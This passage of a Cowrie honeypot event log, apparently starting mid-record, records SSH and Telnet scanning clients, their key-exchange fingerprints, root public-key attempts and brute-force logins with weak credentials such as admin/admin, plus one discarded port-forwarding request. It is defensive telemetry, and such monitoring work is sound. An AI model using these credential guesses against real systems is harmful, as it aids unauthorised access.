AAAAB3NzaC1yc2EAAAADAQABAAACAQDVUknCRA/NNy5OAvrY/vsmu7fBQeIEBYhcxB657+st2HSfsH6D12kawczfZbpQ7mWDJQU7BXuS62lR6FjA/aygKbRGHCret+Pa9IDoCipvoTP9z7hXnjSc2kw6ROJbPFlzZkOgYpKeulNUbGJ492rpuicdwNVFcM2PHyVi2wjPqSCkDFt3GmyZ5z1xgDSpx993EpRm7gUmoOTH6Rxm5OdY6rJaH6hfNUj4I8lk9KhNYGVTBPvksn9WbK1VGICEhXBcEjEbBi+1WOOkIBwzfRBH4Ik2kjo8cCb7uqlTPsAcUJKYrlr19MNCX1CIL57HhN3JLgfbihHE6oMTJUI7HX2VYCRoLzzsdsjptyK5xJ0GjXP/AALHvUNo6FHahyYJ6KBksO7nbtA0edZ6PmMdlFZzU/7aOSOFh8PNcMlD+S6tpq4lpuD5ym2AAzOqY4FI3UCChQGJYUJN6GN5CglHLZ7xggpZLXvcxe9riJry0cb+DQ+rvnin3OEIndnKVLEdxVWcjmRnS3vGzDNLgeQFPhp7wjcfDdC1te/U/9F23HJJteQQnDqPfj7mAbpyO83Et56YdHgbMBFuiCcmcIgeRWJH4ynTWikKey5Aw3O37fAau0caFFmGI2UeRzCKwaavuh/tms9I/YezdfoqjLDNMZ4PaLfQXz58d85tIdUgLWb8Pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:0f:23:02:87:4a:c2:7e:0b:dd:26:5f:03:32:c2:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.523307Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:0f:23:02:87:4a:c2:7e:0b:dd:26:5f:03:32:c2:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVUknCRA/NNy5OAvrY/vsmu7fBQeIEBYhcxB657+st2HSfsH6D12kawczfZbpQ7mWDJQU7BXuS62lR6FjA/aygKbRGHCret+Pa9IDoCipvoTP9z7hXnjSc2kw6ROJbPFlzZkOgYpKeulNUbGJ492rpuicdwNVFcM2PHyVi2wjPqSCkDFt3GmyZ5z1xgDSpx993EpRm7gUmoOTH6Rxm5OdY6rJaH6hfNUj4I8lk9KhNYGVTBPvksn9WbK1VGICEhXBcEjEbBi+1WOOkIBwzfRBH4Ik2kjo8cCb7uqlTPsAcUJKYrlr19MNCX1CIL57HhN3JLgfbihHE6oMTJUI7HX2VYCRoLzzsdsjptyK5xJ0GjXP/AALHvUNo6FHahyYJ6KBksO7nbtA0edZ6PmMdlFZzU/7aOSOFh8PNcMlD+S6tpq4lpuD5ym2AAzOqY4FI3UCChQGJYUJN6GN5CglHLZ7xggpZLXvcxe9riJry0cb+DQ+rvnin3OEIndnKVLEdxVWcjmRnS3vGzDNLgeQFPhp7wjcfDdC1te/U/9F23HJJteQQnDqPfj7mAbpyO83Et56YdHgbMBFuiCcmcIgeRWJH4ynTWikKey5Aw3O37fAau0caFFmGI2UeRzCKwaavuh/tms9I/YezdfoqjLDNMZ4PaLfQXz58d85tIdUgLWb8Pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.527673Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:b9:67:0d:dc:69:10:74:ec:fe:b9:1e:7d:98:d0:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlc8FG//vBk+BaoW1bGs61Ve2sf1+ynriZd5NSbDgCfRfHHJ5ySeg8NzVCLEb23aleOonC0fqF69+vG5CPvTYhVz+nfdStkjTOI2fmnMivp6DFf0/Md8bpXZJ25JjaR1xWUb6vfG84Yj1UCM2uSPRkyiogfXJTwKKS9/APJ5EgwEiyKOR5V9CKddnkp9COq+zpKjB3+uKKF/PpJ6wK+Xx+49CfyoLIYaRAfM7xegDhuHR+k8NFNaj5Bn5qt8g+FhSsknA6z6QQCUDFKxYPl4bpuo5EcmXOnpc/6KPXNWhJhe/HZyZ6zsC9GelpJK8rxaOLyt2DxYrwgbreCjW7lDIZ13BFPYjwQukKDLvb2hAxhDJ9DhLmY7xMvVOH43tOsVVGrMiIv1ZNgAKVe1/DA7q0Id4xV3apO15RSW/i4CdSCUlZ6GKvYCHjr5P9Bbik//eemOiN0HhlEqYOK+JxjHWmXvJ/L1K2KM/rz4wyz5biIE7PgI/p3cdSCsJT9kA9OR1quFCKGlhDK3nGKg/FbfIA9HRY6DNb5wN8YPYBWqP8x92QjljA4LXjpWC8clbFIJ5T2koAgJYzb3b8kG5+DdIaHi3uFQIentNbITlMRm6aXUqpvoF6HghTw2uunKF+i7kYwg4USablvQePvJVog26eMG8Xga74R0EzwDt6V7f+Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:b9:67:0d:dc:69:10:74:ec:fe:b9:1e:7d:98:d0:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.619485Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:b9:67:0d:dc:69:10:74:ec:fe:b9:1e:7d:98:d0:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlc8FG//vBk+BaoW1bGs61Ve2sf1+ynriZd5NSbDgCfRfHHJ5ySeg8NzVCLEb23aleOonC0fqF69+vG5CPvTYhVz+nfdStkjTOI2fmnMivp6DFf0/Md8bpXZJ25JjaR1xWUb6vfG84Yj1UCM2uSPRkyiogfXJTwKKS9/APJ5EgwEiyKOR5V9CKddnkp9COq+zpKjB3+uKKF/PpJ6wK+Xx+49CfyoLIYaRAfM7xegDhuHR+k8NFNaj5Bn5qt8g+FhSsknA6z6QQCUDFKxYPl4bpuo5EcmXOnpc/6KPXNWhJhe/HZyZ6zsC9GelpJK8rxaOLyt2DxYrwgbreCjW7lDIZ13BFPYjwQukKDLvb2hAxhDJ9DhLmY7xMvVOH43tOsVVGrMiIv1ZNgAKVe1/DA7q0Id4xV3apO15RSW/i4CdSCUlZ6GKvYCHjr5P9Bbik//eemOiN0HhlEqYOK+JxjHWmXvJ/L1K2KM/rz4wyz5biIE7PgI/p3cdSCsJT9kA9OR1quFCKGlhDK3nGKg/FbfIA9HRY6DNb5wN8YPYBWqP8x92QjljA4LXjpWC8clbFIJ5T2koAgJYzb3b8kG5+DdIaHi3uFQIentNbITlMRm6aXUqpvoF6HghTw2uunKF+i7kYwg4USablvQePvJVog26eMG8Xga74R0EzwDt6V7f+Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.623834Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:12:2e:08:b3:47:c7:7e:9c:58:d5:be:92:42:5d:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAvnCikkgxG1paAfEDNT4UvipbaHtXaJ/Lbqp5J5CQ9DocS/i0D3QXG7ksozPsuokwwarbNMBrfoH1i/u5VmbSxMi7K8qlfkXlOuTAiwSeFx6s/MllmTzsX6Z0DiTdIAi+ki7/JjAN/KEHFdmW+sy41+Rlwz0aIk5BKnqYX4FNFuIU+rvI4Db1H3fb8PNa/NTEosu+qsrKKa6PGYgLrVLCNRsaNtETSk+xYq2LjbBK3xQ7sj4KviNx5P25mF6VqIxatK37xMa40uIyK6X5n7DkeWc4sESwjiY0KZy1k2q2DuXKA7qE5SrWEbhhsNhnSsxwJEHgXu8yXKsYs3fZ9mYnvc+3hQwxGE1KcSvzAQQ1KikX5s6i7IRJzxE3Rs/WoHyk8qSu2Gpvjl8VZNlqNbVJXykHvFEEuR9qTgZriC6YcTZmIeM64iXgpP6bCQqsMcuFCcnBOvYEYksjG6o2GfFIrOXjeZ/0KN1XAOkHDPwjenrhg1CFf3VLVisTTdc9UaE/+3aP4SaLrVLJK49xhHIFrMWrSn8/Y6EGUCBipH1a5IibNEHTi1fyrh2zaiPam7+YV2HEBOZ0DopkGyryKX2L44ng2gF4sMeFLN10wsqqUy3+eIsFNoIak7EpR2G+jjKYS2h+NNSjUClGgtQljs/BtEepKqDDw9Tel+uidUD0lFk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:12:2e:08:b3:47:c7:7e:9c:58:d5:be:92:42:5d:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.716865Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:12:2e:08:b3:47:c7:7e:9c:58:d5:be:92:42:5d:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAvnCikkgxG1paAfEDNT4UvipbaHtXaJ/Lbqp5J5CQ9DocS/i0D3QXG7ksozPsuokwwarbNMBrfoH1i/u5VmbSxMi7K8qlfkXlOuTAiwSeFx6s/MllmTzsX6Z0DiTdIAi+ki7/JjAN/KEHFdmW+sy41+Rlwz0aIk5BKnqYX4FNFuIU+rvI4Db1H3fb8PNa/NTEosu+qsrKKa6PGYgLrVLCNRsaNtETSk+xYq2LjbBK3xQ7sj4KviNx5P25mF6VqIxatK37xMa40uIyK6X5n7DkeWc4sESwjiY0KZy1k2q2DuXKA7qE5SrWEbhhsNhnSsxwJEHgXu8yXKsYs3fZ9mYnvc+3hQwxGE1KcSvzAQQ1KikX5s6i7IRJzxE3Rs/WoHyk8qSu2Gpvjl8VZNlqNbVJXykHvFEEuR9qTgZriC6YcTZmIeM64iXgpP6bCQqsMcuFCcnBOvYEYksjG6o2GfFIrOXjeZ/0KN1XAOkHDPwjenrhg1CFf3VLVisTTdc9UaE/+3aP4SaLrVLJK49xhHIFrMWrSn8/Y6EGUCBipH1a5IibNEHTi1fyrh2zaiPam7+YV2HEBOZ0DopkGyryKX2L44ng2gF4sMeFLN10wsqqUy3+eIsFNoIak7EpR2G+jjKYS2h+NNSjUClGgtQljs/BtEepKqDDw9Tel+uidUD0lFk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.727183Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:04.833897Z","src_ip":"167.235.26.80","session":"f110cd908310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.07533669471741,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:21.204986Z","src_ip":"212.55.149.117","session":"430ddc286969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.78475475311279,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:58:21.780128Z","src_ip":"212.55.149.117","session":"1af3aaad3ae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":54784,"dst_ip":"159.203.135.109","dst_port":23,"session":"9553d4cadbd7","protocol":"telnet","message":"New connection: 199.103.57.63:54784 (159.203.135.109:23) [session: 9553d4cadbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:23.431553Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":33896,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8991389133a","protocol":"ssh","message":"New connection: 84.239.42.8:33896 (159.203.135.109:22) [session: b8991389133a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:45.653074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:45.659652Z","src_ip":"84.239.42.8","session":"b8991389133a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:45.789023Z","src_ip":"84.239.42.8","session":"b8991389133a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:46.295843Z","src_ip":"84.239.42.8","session":"b8991389133a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:47.429594Z","src_ip":"84.239.42.8","session":"b8991389133a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20274,"dst_ip":"10.17.0.5","dst_port":22,"session":"0140629aa0ee","protocol":"ssh","message":"New connection: 87.251.64.176:20274 (10.17.0.5:22) [session: 0140629aa0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:58.284364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:58.292229Z","src_ip":"87.251.64.176","session":"0140629aa0ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:58.388493Z","src_ip":"87.251.64.176","session":"0140629aa0ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:58.842742Z","src_ip":"87.251.64.176","session":"0140629aa0ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:58.942386Z","session":"0140629aa0ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:59.047008Z","src_ip":"87.251.64.176","session":"0140629aa0ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:01:59.340465Z","src_ip":"87.251.64.176","session":"0140629aa0ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.54392099380493,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:03.975363Z","src_ip":"199.103.57.63","session":"9553d4cadbd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44544,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6c5325c72c4","protocol":"ssh","message":"New connection: 103.63.108.25:44544 (159.203.135.109:22) [session: e6c5325c72c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:09.176580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:09.181411Z","src_ip":"103.63.108.25","session":"e6c5325c72c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:09.458932Z","src_ip":"103.63.108.25","session":"e6c5325c72c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"123123","message":"login attempt [testing/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:10.609197Z","src_ip":"103.63.108.25","session":"e6c5325c72c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:11.897459Z","src_ip":"103.63.108.25","session":"e6c5325c72c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":14986,"dst_ip":"10.17.0.5","dst_port":22,"session":"71f467e1c86e","protocol":"ssh","message":"New connection: 141.11.21.145:14986 (10.17.0.5:22) [session: 71f467e1c86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:59.259879Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:59.340597Z","src_ip":"141.11.21.145","session":"71f467e1c86e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":14990,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f61d564f087","protocol":"ssh","message":"New connection: 141.11.21.145:14990 (10.17.0.5:22) [session: 6f61d564f087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:59.413457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:59.418387Z","src_ip":"141.11.21.145","session":"6f61d564f087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:59.495139Z","src_ip":"141.11.21.145","session":"6f61d564f087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qwe","message":"login attempt [root/123!@#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:02:59.726520Z","src_ip":"141.11.21.145","session":"6f61d564f087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:03:00.806542Z","src_ip":"141.11.21.145","session":"6f61d564f087","protocol":"ssh"}
